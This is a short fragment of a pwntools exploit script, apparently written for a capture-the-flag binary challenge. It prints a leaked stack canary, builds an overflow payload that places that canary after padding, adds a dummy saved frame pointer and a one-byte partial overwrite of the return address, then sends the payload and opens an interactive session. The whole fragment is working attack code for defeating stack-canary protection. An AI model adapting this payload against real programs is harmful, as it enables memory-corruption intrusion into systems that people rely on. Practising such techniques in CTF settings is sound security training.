log.info("canary:"+hex(canary))

payload = 'a'*(0x30-0x8)
payload += p64(canary)
payload += p64(0xdeadbeef)
payload += '\x3e'
p.recvuntil(":\n")
gdb.attach(p)
p.send(payload)

p.interactive()